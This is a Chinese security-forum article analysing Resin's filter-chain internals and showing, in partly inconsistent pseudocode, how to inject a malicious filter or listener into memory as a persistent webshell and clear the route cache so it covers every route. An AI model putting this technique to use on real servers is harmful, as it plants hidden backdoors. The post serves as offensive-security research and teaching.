问答
发起
提问
文章
攻防
活动
Toggle navigation
首页
(current)
问答
商城
实战攻防技术
漏洞分析与复现
NEW
活动
摸鱼办
搜索
登录
注册
resin内存马研究思路以及细节处理
最近实习过程中在进行一些内存马的工作,其中有些中间件自己还不是很熟悉,于是一个一个想着把他们都过一遍。然后又正好在回顾和学习泛微的一些洞,对应着resin也过一遍。
idea2024没有之前的那个resin插件了,推荐这个大佬的插件https://github.com/chao2hang/resin\_idea/releases/tag/1.0 idea导入即可 0x01 resin基本概念补充 ================ filters ------- 官方文档提到resin的filter遵循Servlet的规范,那整体思路应该也是差不多的,只不过tomcat管理这些filters和resin的管理方式或者说具体的功能类不同。resin服务中也应该会存在一个上下文的web应用管理器,类似于context。 写一个filter其实也就是一样的,只不过这里写的servlet是3.0的,包名是从javax开始。然后注册也是写在web.xml中。  写一个样例: ```java package org.main; import javax.servlet.*; import java.io.IOException; public class TestFilter implements Filter { @Override public void init(FilterConfig filterConfig) throws ServletException { } @Override public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws ServletException, IOException { System.out.println("TestFiltering...."); filterChain.doFilter(servletRequest, servletResponse); } @Override public void destroy() { } } ``` 然后web.xml注册一下全路由,在dofilter这里打个断点就可以开始看resin的调用堆栈结构了。  这里比较奇怪的一点是在ServletInvocation的service方法之后有很多的filterchain,这些在官网的filters文档中提到了,是resin自带的,我们可以在com.cauho.filters包下找到这些自带的filter。 Invocation ---------- 这个类我们之后会经常遇到。当一个web请求发过来的时候,resin一定会创建一个Invocation用来进行帮助请求处理和管理各种内存上下文对象。简单一点说就是起到一个桥梁的作用,用于存储上下文信息,包括request和response。 当然,它的生命周期始于一次路由的请求,终结于一次路由请求的结束。具体到堆栈和代码中,开始就是HttpRequest调用handleRequest中,resin首先需要获取到invocation,然后通过调用它的service方法来继续处理请求的逻辑。  创建invocation要用到很多层buildInvocation,之后没必要一一跟进,我采取的分析方法是直接定位到调用测试用例的filter之前的那一层doFilter,然后观察测试用例Filter是如何装载进流程的。 0x02 resin流程简单分析 ================ resin的很多功能都是通过filter实现的,所以我们一上来先默认分析resin-filter的注入流程。最后再补充listener的逻辑 整体功能实现 ------ 还是一样的调试方法,自建一个servlet,然后在他的service方法或者继承Httpservlet,在它的doGet或者doPost方法那里下个断点,开始调试。 这里HttpRequest的handleRequest走完之后是创建invocation,对于嵌套的流程idea会自动省略内部,只留外部,理论上还是创建完invocation才开始调其service方法。  这里看到每一个FilterChain的doFilter方法,比如WebAppFilterChain的doFilter。它最后是调用了this.\_next的doFilter。  然后是最后的filterfilterChain,他是调用到了this.\_filter的doFilter。  而当我们回到TestFilter的dofilter,实际上还是继续调用this.\_next的dofilter方法。只不过下一个filterchain是servletfilterchain,就直接开始调servlet的逻辑了。  说这么多其实是就是为了说明一个点。resin中间件的功能有很多都是通过filterchain实现的,他有很多filterchain,不像Tomcat中的filter更像是一个扩展功能。 观察前面提到的Invocation调用栈和动调试一下,发现实际上所有的filterchain都是在WebApp的buildInvocation方法中进行的。但是代码内容太多了,建议师傅们在看的话就自己调试到com.caucho.server.webapp.WebApp的buildInvocation方法即可,这里能关系到我们自建filter创建的只有一行代码,下文会提到 filterchain创建流程 --------------- invocation的生命周期在上文提到过,当我们第一次请求一段路由时,由于内存中并没有当前路由对应的缓存,所以在AbstractHttpRequest的getInvocation方法中的if (invocation != null) {判断无法通过,直接进else读取当前请求的host和port来创建invocation。后续就会经过多层的invocation的创建封装,所有的filterchain是在最后的WebApp的buildInvocation中加载的。 而buildInvocation的内容中关于filterfilterchain的创建是this.\_filterMapper.buildDispatchChain((Invocation)invocation, chain);这条代码实现的。说白了也就是filterMapper的功能。 buildDispatchChain的具体的内容如下,有两段差不多的synchronized逻辑,唯一的区别在if (map.isMatch(invocation)),第一个synchronized中是if (map.isMatch(invocation.getServletName())),整个流程中都没有往filterMapping中写servletName,所以只有在第二段synchronized代码段中才会匹配到对应的filter,我们也只看第二段synchronized: ```java synchronized(this._filterMap) { for(i = this._filterMap.size() - 1; i >= 0; --i) { map = (FilterMapping)this._filterMap.get(i); if (map.isMatch(invocation)) { filterName = map.getFilterName(); filter = this._filterManager.createFilter(filterName); config = this._filterManager.getFilter(filterName); if (!config.isAsyncSupported()) { invocation.clearAsyncSupported(); } chain = this.addFilter(chain, filter); } } ``` 先看if (map.isMatch(invocation)),具体跟进到isMatch: 你会发现出了匹配servletName之外,还会循环匹配filterMapping中的matchList变量,要实现往这个matchList中写入对应的内容,需要调用到filterManager的addfilterMapping方法。根据传入的filterMapping中的urlPattern配置进行matchlist的写入  回到synchronized的代码块内容,chain = this.addFilter(chain, filter);这里的chain返回值是filterfilterchain,也就是会调用到真正的filter。那么要能够创建出我们自己的filterfilterchain,调用addfilter方法时需要传入两个参数,chain和filter。chain其实不用管,他是servletChain,是调用栈一路传过来的,而filter是调用filterManager的createFilter方法创建的:this.\_filterManager.createFilter(filterName);filterName又是从filterMapping中取出的。所以,只要我们能否够往filterMapping里面写入我们自己的filter和配置内容就能够在流程中创建出filterfilterchain。 跟进filterManager的createFilter方法,对应的分析写在注释中 ```java public Filter createFilter(String filterName) throws ServletException { //从当前_filters变量中根据filterName取出对应的config,然后判断config是否为空,如果为空的话就直接抛错了。 FilterConfigImpl config = (FilterConfigImpl)this._filters.get(filterName); if (config == null) { throw new ServletException(L.l("`{0}' is not a known filter. Filters must be defined by before being used.", filterName)); } else { Class<?> filterClass = config.getFilterClass(); synchronized(config) { Filter var10000; try { //第一处获取到filter的地方。我们其实可以直接往_instances中put自建的filter和filtername Filter filter = (Filter)this._instances.get(filterName); if (filter != null) { var10000 = filter; return var10000; } InjectManager beanManager = InjectManager.create(); this._bean = beanManager.discoverInjectionTarget(filterClass); //config由于我们一直要用到,包括写入对应的路由urlpattern,存储filter的class和name等 //所以这种将对应filter写入config的方式也是可以的,一劳永逸。 filter = config.getFilter(); CreationalContext env = beanManager.createCreationalContext((Contextual)null); if (filter == null) { //如果两者都没有选择,最后还是会通过InjectionTarget反射构造出filter。并且由于我们注入器构造filter的时候会默认使用当前resin容器的类加载器进行defineClass //所以当前的InjectManager能够在内存中找到我们指定的恶意filter filter = (Filter)this._bean.produce(env); } this._bean.inject(filter, env); ContainerProgram init = config.getInit(); if (init != null) { init.configure(filter); } this._bean.postConstruct(filter); filter.init(config); this._instances.put(filterName, filter); var10000 = filter; ..... } ``` 后续我就默认filterMapping和config是同一个东西了。 总结一下要做的事情就开始具体的写入: - FlterMapper中存入了当前resin容器的所有的自建filterconfig。具体在变量\_filterMap中。它buildDispatchChain的时候会遍历\_filterMap,然后一个一个去匹配他们对应的路由,并调用filterManager来创建需要用到的filter。所以我们要往filterMap添加新的filterMapping(为什么不是重写?这里为了最大化的不影响本来的业务,所以采用添加的方式) - filterManager中需要往this.\_filters存入我们自己的filterConfig。 - filterMapping,实际就是filterConfig,需要存入filterName,filterClass,filter(可以不写,看是哪种获取filter的方式),以及对应的urlpattern路由 下面就是具体实现了 filter各项配置 ---------- ### filterManger FilterManager中关注一个点,最终createFilter方法中第一行FilterConfigImpl config = (FilterConfigImpl)this.\_filters.get(filterName);取config是从当前变量\_filters中取出的。这个filters在FilterManager中有一个方法可以写入,addFilter: ```java public void addFilter(FilterConfigImpl config) { if (config.getServletContext() == null) { throw new NullPointerException(); } else { this._filters.put(config.getFilterName(), config); } } ``` ### filterMapper 然后是filterMapper中的\_filterMap变量需要写入我们自己的filterMapping(本质是config)。这里可以找到filterMapper中的addFilterMapping方法 它不仅仅是往filterMap写入了filterMapping,而且还帮我们调用了filterManager的addFilter。可谓是一举两得。 ```java public void addFilterMapping(FilterMapping mapping) throws ServletException { try { String filterName = mapping.getFilterName(); if (filterName == null) { filterName = mapping.getFilterClassName(); } if (mapping.getFilterClassName() != null && this._filterManager.getFilter(filterName) == null) { this._filterManager.addFilter(mapping); } if (this._filterManager.getFilter(filterName) == null) { throw new ServletConfigException(L.l("'{0}' is an unknown filter-name. filter-mapping requires that the named filter be defined in a configuration before the .", filterName)); } else { this._filterMap.add(mapping); log.fine("filter-mapping " + mapping + " -> " + filterName); } ...... } ``` ### filterMapping 首先先看一下我默认filterMapping就是FilterConfig的原因  也就是说我们之前逻辑中调用到的Config和filterMapping都是同一个类。setfilterName,setfilterClass,setfilter这三个方法是FilterConfigImpl中的,对应的urlpattern路由构造是在filterMapping中的。 ### WebApp 还有一个一直没有提到的内容就是我们如何获取到resin这个容器中的filterManger和filterMapper类呢?目标肯定是获取WebApp类。  一开始我们就提到过Invocation的作用,在调试的观察调用栈我们能够从ServletInvocation中看到有一个变量存储了WebApp变量  初步采用java-object-searcher去搜索ServletInvocation的时候发现怎么去设置挖掘深度都无法找到存储该变量的线程。这我就很纳闷了,参考了一下JMG中的做法,我们只要能够加载到ServletInvocation即可,不需要从线程中直接循环遍历取出ServletInvocation或webApp。如何去加载,实际上还是通过遍历线程之后调用线程的累加载器全类名加载ServletInvocation ```java for (Thread thread : threads) { Class<?> servletInvocationClass = thread.getContextClassLoader().loadClass("com.caucho.server.dispatch.ServletInvocation"); Object contextRequest = servletInvocationClass.getMethod("getContextRequest").invoke(null); Object webApp = invokeMethod(contextRequest, "getWebApp", new Class[0], new Object[0]); if (webApp != null && visited.add(webApp)) { contexts.add(webApp); } } ``` 之后就可以拿着这个webApp去获取FilterMapper和filterManager了。我个人是比较喜欢Pen4uin师傅的这个方法。当然直接去通过java-object-searcher搜索webApp,也能够得到不少的方式。 最终构造的伪代码如下: ```java for (Thread thread : threads) { Class<?> servletInvocationClass = thread.getContextClassLoader().loadClass("com.caucho.server.dispatch.ServletInvocation"); Object contextRequest = servletInvocationClass.getMethod("getContextRequest").invoke(null); Object webApp = invokeMethod(contextRequest, "getWebApp", new Class\[0\], new Object\[0\]); } FilterMapping=context.getDeclaredField("\_filterManager").get(WebApp); FilterMapping.setFilterName("EvilFilter"); FilterMapping.setFilterClass("org.test.EvilFilter"); UrlPattern urlpattern=FilterMapping.createUrlPattern(); urlpattern.addText("/\*"); WebApp.addFilterMapping("FilterMapping"); WebApp.clearCache(); ``` 其实listener更加容易,因为不需要添加路由,直接就调用WebApp的addListenerObject就行 ```java for (Thread thread : threads) { Class<?> servletInvocationClass = thread.getContextClassLoader().loadClass("com.caucho.server.dispatch.ServletInvocation"); Object contextRequest = servletInvocationClass.getMethod("getContextRequest").invoke(null); Object webApp = invokeMethod(contextRequest, "getWebApp", new Class\[0\], new Object\[0\]); } WebApp.addListenerObject(new EvilListener(),true); WebApp.clearCache(); ``` ### 注意事项 我相信师傅们跟进了Invocation的的创建流程就会心里一直有个疙瘩:如果我们继续请求这段老的路由,此时能够从缓存中读取到对应的Invocation,我们就不会进入buildInvocation的流程,新写入内存的filter配置也就不会加载出来了。这里我思考了很久,最终在Pen4uin师傅的JMG的实现代码中找到了解决办法invokeMethod(context, "clearCache");清除此时WebApp的缓存。上面实现的伪代码中最后添加的clearCache就是这个原因。这样做的效果就是,当我们通过Test.jsp或者Test路由以代码执行的方式打入内存马之后,当前业务的所有路由对应的invocation缓存都将被清除,要开始重新buildInvcation。 ```java //server的getInvocation方法本质是就是匹配缓存的标识符,此时我们已经通过`clearCache`将其清除,旧路由的缓存没有了 //那么在此之后的所有缓存都将重新加载,我们注入恶意filter也将通过filterMapper和filterManager中新的内容加入创建 Invocation invocation = server.getInvocation(this._invocationKey); if (invocation != null) { return invocation.getRequestInvocation(this._requestFacade); } else { invocation = server.createInvocation(); invocation.setSecure(this.isSecure()); if (host != null) { String hostName = host.toString().toLowerCase(Locale.ENGLISH); invocation.setHost(hostName); invocation.setPort(this.getServerPort()); int p = hostName.lastIndexOf(58); int q = hostName.lastIndexOf(93); if (p > 0 && q < p) { invocation.setHostName(hostName.substring(0, p)); } else { invocation.setHostName(hostName); } } return this.buildInvocation(invocation, uri, uriLength); } ``` 而此时我们又往filterMapper和filterManager中增加了新的filter,当buildInvcation进行到WebApp的创建buildDispatchChain的时候会将他们一一重新加载。 最终也就实现了全路由可加载恶意组件了,不然之前web服务中调用过的所有路由(包括不存在的路由你去访问得到404)都会直接调用旧的的invocation。 总结 == 还有两个问题没有讲清楚,我个人不太满意的地方是在WebApp的获取的,当时实在没办法,去看了很多师傅的文章,由于年代久远,我比较了几份获取WebApp的方法,一直想找到一个能够通用全版本resin的方法,就像Tomcat那样。那很明显结果是我失败了,沿用了jmg中的思路(本身我觉得就很好,也很精辟)。其他的直接通过内存反射调用获取到FilterMapper和filterManager当然也可取,也值得学习。 测试的环境是本地resin4.0.67免费版,然后是JDK8,关于最后的请求缓存,我自己是没有找到相关文章关于清除缓存具体到哪一行代码,只是我一开始就注意到了这个问题,并且一直留在心中,再次阅读Pen4uin师傅的源码之后发现居然可以通过WebApp的clearCache实现缓存清除。然后自己实验的时候是通过去除改行反射调用之后分别注入,然后再去访问旧路由连接,确实可行。 感谢师傅们的文章。
发表于 2025-02-12 10:00:00
阅读 ( 635 )
分类:
WEB安全
1 推荐
收藏
0 条评论
请先
登录
后评论
stoocea
3 篇文章
×
发送私信
请先
登录
后发送私信
×
举报此文章
垃圾广告信息:
广告、推广、测试等内容
违规内容:
色情、暴力、血腥、敏感信息等内容
不友善内容:
人身攻击、挑衅辱骂、恶意行为
其他原因:
请补充说明
举报原因:
×
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!